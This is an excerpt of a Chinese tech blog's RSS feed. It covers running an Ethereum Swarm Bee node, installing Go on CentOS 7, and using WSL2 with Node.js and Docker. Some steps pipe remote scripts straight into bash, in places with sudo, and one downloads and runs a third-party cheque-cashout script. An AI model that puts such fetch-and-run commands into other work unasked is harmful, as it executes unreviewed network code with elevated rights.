sudo systemctl restart bee&lt;/p&gt;

&lt;h2 id=&quot;检查bee状态&quot;&gt;检查Bee状态&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# systemctl status bee.service
● bee.service - Bee - Ethereum Swarm node
   Loaded: loaded (/usr/lib/systemd/system/bee.service; enabled; vendor preset: disabled)
   Active: active (running) since Wed 2021-05-26 18:35:49 CST; 9s ago
     Docs: https://docs.ethswarm.org
 Main PID: 11105 (bee)
   CGroup: /system.slice/bee.service
           └─11105 /usr/bin/bee start --config /etc/bee/bee.yaml
May 26 18:40:21 25 bee[11427]: time=&quot;2021-05-26T18:40:21+08:00&quot; level=warning msg=&quot;failing to connect to clef signer: dial unix /var/lib/bee-clef/clef.ipc: connect: permission denied
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# curl localhost:1633
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如果返回&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Ethereum Swarm Bee
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;说明正常监听。
可以用debug api交互&lt;/p&gt;

&lt;p&gt;查看节点连接情况&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# curl -s localhost:1635/peers | jq &quot;.peers | length&quot;
22
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;查询当前节点余额&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl http://127.0.0.1:1635/balances | jq
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;出票状态&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 bee]# curl http://127.0.0.1:1635/chequebook/cheque
{&quot;lastcheques&quot;:[]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;下载查票脚本&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget https://github.com/juu17/swarm-tech-tutorial/raw/master/downloads/cashout.sh
chmod 755 cashout.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;查票&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./cashout.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;兑换支票&lt;/p&gt;

&lt;p&gt;` 重要！不要经常兑现支票！一周一次就足够了！这可以防止和缓解区块链上不必要的拥塞。 `&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./cashout.sh cashout-all 5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;参考&quot;&gt;参考&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;https://github.com/juu17/swarm-tech-tutorial&lt;/li&gt;
  &lt;li&gt;https://docs.ethswarm.org/docs/installation/bee-clef/&lt;/li&gt;
  &lt;li&gt;https://docs.ethswarm.org/docs/installation/install&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.ethswarm.org/docs/working-with-bee/cashing-out&quot;&gt;兑换支票&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Fri, 28 May 2021 14:38:35 +0000</pubDate>
        <link>http://abloz.com/tech/2021/05/28/swarm-mine/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2021/05/28/swarm-mine/</guid>
        
        <category>Swarm</category>
        
        <category>Ethereum</category>
        
        <category>Bee</category>
        
        <category>Bee-clef</category>
        
        <category>BZZ</category>
        
        <category>挖矿</category>
        
        
        <category>tech</category>
        
      </item>
    
      <item>
        <title>Centos7 go 安装</title>
        <description>&lt;h1 id=&quot;安装go&quot;&gt;安装go&lt;/h1&gt;

&lt;p&gt;下载地址：https://golang.org/dl/go1.16.4.linux-amd64.tar.gz&lt;/p&gt;

&lt;p&gt;下载后上传到指定目录，解压，配环境变量。&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@3 down]# tar zxvf go1.16.4.linux-amd64.tar.gz

[root@3 down]# mv go /usr/local/go

[root@3 ~]# vi .bashrc
export PATH=$PATH:/usr/local/go/bin

[root@3 ~]# source .bashrc
[root@3 ~]# go version
go version go1.16.4 linux/amd64

[root@3 ~]# vi /etc/profile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;GOROOT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr/local/go
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;GOPATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/home/gopath
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PATH&lt;/span&gt;:&lt;span class=&quot;nv&quot;&gt;$GOROOT&lt;/span&gt;/bin:&lt;span class=&quot;nv&quot;&gt;$GOPATH&lt;/span&gt;/bin

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@3 ~]# mkdir -p /home/go/src /home/go/pkg /home/go/bin
[root@3 ~]# source /etc/profile
[root@3 ~]# go env
...

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h1 id=&quot;写测试程序&quot;&gt;写测试程序&lt;/h1&gt;
&lt;p&gt;创建两个模块，一个greeting模块和一个主模块，在主模块调用greeting模块&lt;/p&gt;

&lt;h2 id=&quot;创建目录结构&quot;&gt;创建目录结构&lt;/h2&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@3 ~]# &lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;go
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@3 ~]# &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;go
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@3 ~]# &lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; hello greeting
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;创建被调用模块&quot;&gt;创建被调用模块&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@3 go]# cd greeting/
[root@3 greeting]# go mod init z.com/greeting

#  go mod init 创建一个go.mod文件来跟踪依赖 此时，会在当前目录下添加一个go.mod文件
[root@3 greeting]# cat go.mod
module z.com/greeting

go 1.16
[root@3 go]# vi greeting/greeting.go
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;编辑 greeting.go&lt;/p&gt;
&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;greeting&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;fmt&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Greeting&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hello %v&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;从另一个模块调用&quot;&gt;从另一个模块调用&lt;/h2&gt;
&lt;p&gt;编辑主程序 hello.go&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@3 greeting]# cd ..
[root@3 go]# cd hello
[root@3 hello]# go mod init z.com/hello
go: creating new go.mod: module z.com/hello
go: to add module requirements and sums:
        go mod tidy

[root@3 hello]# vi hello.go
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;fmt&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;z.com/greeting&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;greeting&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Greeting&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;梦想家&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Println&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@3 hello]# go run hello.go
hello.go:6:8: no required module provides package z.com/greeting; to add it:
        go get z.com/greeting

// 因为没有发布模块，所以本地开发，需要修改一下依赖        
[root@3 hello]# go mod edit -replace=z.com/greeting=../greeting
[root@3 hello]# go run .
hello.go:6:8: module z.com/greeting provides package z.com/greeting and is replaced but not required; to add it:
        go get z.com/greeting
        
[root@3 hello]# go mod tidy
go: found z.com/greeting in z.com/greeting v0.0.0-00010101000000-000000000000
[root@3 hello]# cat go.mod
module z.com/hello

go 1.16

replace z.com/greeting =&amp;gt; ../greeting

require z.com/greeting v0.0.0-00010101000000-000000000000

[root@3 hello]# go run .
hello 梦想家

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;运行成功&lt;/p&gt;

&lt;p&gt;go module 功能被集成到 go 命令行工具中，例如，在调用诸如 go build，go install，go run，go test 之类的命令时，将启动相应的操作，如缓存，创建或更新 go.mod 和 go.sum 等&lt;/p&gt;

&lt;p&gt;go fmt 格式化文档。go mod -fix 更新依赖，删除一些go.mod的重复项等。&lt;/p&gt;

&lt;h1 id=&quot;配置国内代理&quot;&gt;配置国内代理&lt;/h1&gt;
&lt;p&gt;国内网络访问国外资源经常会出现不稳定的情况。 Go 生态系统中有着许多中国 Gopher 们无法获取的模块，比如最著名的 golang.org/x/…。并且在中国大陆从 GitHub 获取模块的速度也有点慢。&lt;/p&gt;

&lt;p&gt;因此设置 CDN 加速代理就很有必要了，以下是几个速度不错的提供者：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;七牛：Goproxy 中国 https://goproxy.cn&lt;/li&gt;
  &lt;li&gt;阿里： mirrors.aliyun.com/goproxy/&lt;/li&gt;
  &lt;li&gt;官方： 全球 CDN 加速 https://goproxy.io/&lt;/li&gt;
  &lt;li&gt;其他：jfrog 维护 https://gocenter.io
    &lt;h2 id=&quot;七牛proxy&quot;&gt;七牛proxy&lt;/h2&gt;
    &lt;p&gt;全球不限速代理。
打开你的终端并执行
使用go1.11以上版本并开启go module机制&lt;/p&gt;
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ go env -w GO111MODULE=on
$ go env -w GOPROXY=https://goproxy.cn,direct
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;或&lt;/p&gt;
    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;export GO111MODULE=on&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.profile
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;export GOPROXY=https://goproxy.cn&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.profile
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt; ~/.profile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;h2 id=&quot;官方&quot;&gt;官方&lt;/h2&gt;
    &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# 配置 GOPROXY 环境变量&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;GOPROXY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;https://goproxy.io,direct
&lt;span class=&quot;c&quot;&gt;# 还可以设置不走 proxy 的私有仓库或组，多个用逗号相隔（可选）&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# export GOPRIVATE=git.mycompany.com,github.com/my/private&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;h2 id=&quot;阿里&quot;&gt;阿里&lt;/h2&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# 使用go1.11以上版本并开启go module机制
export GOPROXY=https://mirrors.aliyun.com/goproxy/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;安装tour教程&quot;&gt;安装tour教程&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@3 ~]# go get golang.org/x/tour
[root@3 ~]# tour
2021/05/20 14:31:43 Serving content from /home/go/pkg/mod/golang.org/x/tour@v0.0.0-20210512164546-a278aee398d5
2021/05/20 14:31:43 Please open your web browser and visit http://127.0.0.1:3999
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Thu, 20 May 2021 13:28:36 +0000</pubDate>
        <link>http://abloz.com/tech/2021/05/20/golang/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2021/05/20/golang/</guid>
        
        <category>centos</category>
        
        <category>golang</category>
        
        <category>linux</category>
        
        
        <category>tech</category>
        
      </item>
    
      <item>
        <title>Windows 交互WSL2</title>
        <description>&lt;h1 id=&quot;概述&quot;&gt;概述&lt;/h1&gt;
&lt;p&gt;WSL是Windows Subsystem for Linux的简称。
windows 中直接使用linux？
硬盘如何共享？程序如何共享？&lt;/p&gt;

&lt;p&gt;本文在windows的WSL2中安装好ubuntu20后，基本交互和使用的介绍。&lt;/p&gt;

&lt;h1 id=&quot;windows-访问-ubuntu&quot;&gt;windows 访问 Ubuntu&lt;/h1&gt;
&lt;h2 id=&quot;文件访问&quot;&gt;文件访问&lt;/h2&gt;
&lt;p&gt;访问：Ubuntu root&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\\wsl$\Ubuntu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;个人目录：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\\wsl$\Ubuntu\home\&amp;lt;yourname&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;在windows terminal 设置中配置缺省进入目录&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;startingDirectory&quot;: &quot;//wsl$/Ubuntu/home/&amp;lt;yourname&amp;gt;/&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;可以映射网络驱动器&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\\wsl$\Ubuntu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;从windows运行linux-命令&quot;&gt;从windows运行linux 命令&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wsl &amp;lt;linux-command&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wsl ls -la
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h1 id=&quot;ubuntu访问windows&quot;&gt;Ubuntu访问Windows&lt;/h1&gt;
&lt;h2 id=&quot;文件访问-1&quot;&gt;文件访问&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/mnt/c/Users/&amp;lt;yourname&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如果要访问C:\projects\code\&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd ~
ln -s /mnt/c/projects/code/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;linux执行windows命令&quot;&gt;linux执行windows命令&lt;/h2&gt;

&lt;p&gt;带上exe后缀。如从windows打开当前文件夹&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;explorer.exe .
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;编辑bashrc&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;notepad.exe ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;用vscode打开目录：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;code ~/projects/mywebsite
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;wsl-安装文件&quot;&gt;wsl 安装文件&lt;/h1&gt;
&lt;h2 id=&quot;修改ubuntu镜像地址&quot;&gt;修改ubuntu镜像地址：&lt;/h2&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# 先备份/etc/apt/sources.list&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /etc/apt/sources.list /etc/apt/sources.list.bak

&lt;span class=&quot;c&quot;&gt;# 替换镜像&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/archive.ubuntu.com/mirrors.aliyun.com/g&apos;&lt;/span&gt; /etc/apt/sources.list
&lt;span class=&quot;c&quot;&gt;# 更新源&lt;/span&gt;
apt-get update
&lt;span class=&quot;c&quot;&gt;# 安装中文支持&lt;/span&gt;
apt-get &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; language-pack-zh-hans
&lt;span class=&quot;c&quot;&gt;# 设置默认语言&lt;/span&gt;
update-locale &lt;span class=&quot;nv&quot;&gt;LANG&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;zh_CN.UTF-8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS C:\Users\zhh&amp;gt; wsl.exe -l -v
  NAME                   STATE           VERSION
* Ubuntu                 Running         1
  docker-desktop         Running         2
  docker-desktop-data    Running         2
PS C:\Users\zhh&amp;gt; wsl.exe --set-version Ubuntu 2

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;安装git&quot;&gt;安装git&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install git-all
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;安装-nodejs&quot;&gt;安装 nodejs&lt;/h2&gt;

&lt;h3 id=&quot;设置nodejs镜像&quot;&gt;设置nodejs镜像&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
npm config set registry https://registry.npm.taobao.org
或者vim .npmrc
registry=https://registry.npm.taobao.org
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;安装nvm&quot;&gt;安装nvm&lt;/h3&gt;
&lt;p&gt;到https://github.com/nvm-sh/nvm 查找最新版本。&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.1/install.sh | bash

nvm --version
0.37.1

# 查询node版本
nvm ls

# 用nvm安装node
nvm install node
Now using node v15.3.0 (npm v7.0.14)

# 安装npx,npx也可以对包进行管理
npm install npx

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;或者单独用操作系统安装node环境,但这种方式不方便切换不同的node版本&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo apt-get install build-essential
curl -sL https://deb.nodesource.com/setup_14.x | sudo -E bash -
sudo apt-get install -y nodejs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;安装docker&quot;&gt;安装docker&lt;/h1&gt;
&lt;p&gt;docker 类似虚拟机。所以不需要在windows和wsl各安装一份。
&lt;a href=&quot;https://www.docker.com/products/docker-desktop&quot;&gt;Docker Desktop for Windows&lt;/a&gt; 完全支持WSL2.&lt;/p&gt;

&lt;p&gt;在windows安装Docker Desktop，并使&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker&lt;/code&gt;和&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker compose&lt;/code&gt;在win和wsl都可用。&lt;/p&gt;

&lt;p&gt;可以在安装docker时配置支持WSL2，也可以在安装完毕后，在右下角图标中点settings，在general页配置选中Use the WSL 2 based engine . 在Resources页的WSL Integration 项，选中ubuntu。&lt;/p&gt;

&lt;h1 id=&quot;vscode-集成-wsl2&quot;&gt;vscode 集成 wsl2&lt;/h1&gt;
&lt;p&gt;VS Code WSL2 Integration
在vs code中执行
Ctrl + Shift + P，输入Terminal: Select Default Shell，然后WSL Bash。&lt;/p&gt;

&lt;p&gt;vscode和其他程序一样，可以访问linux，通过\wsl$\。
如下插件可以简化linux和docker使用：&lt;/p&gt;
&lt;ul&gt;
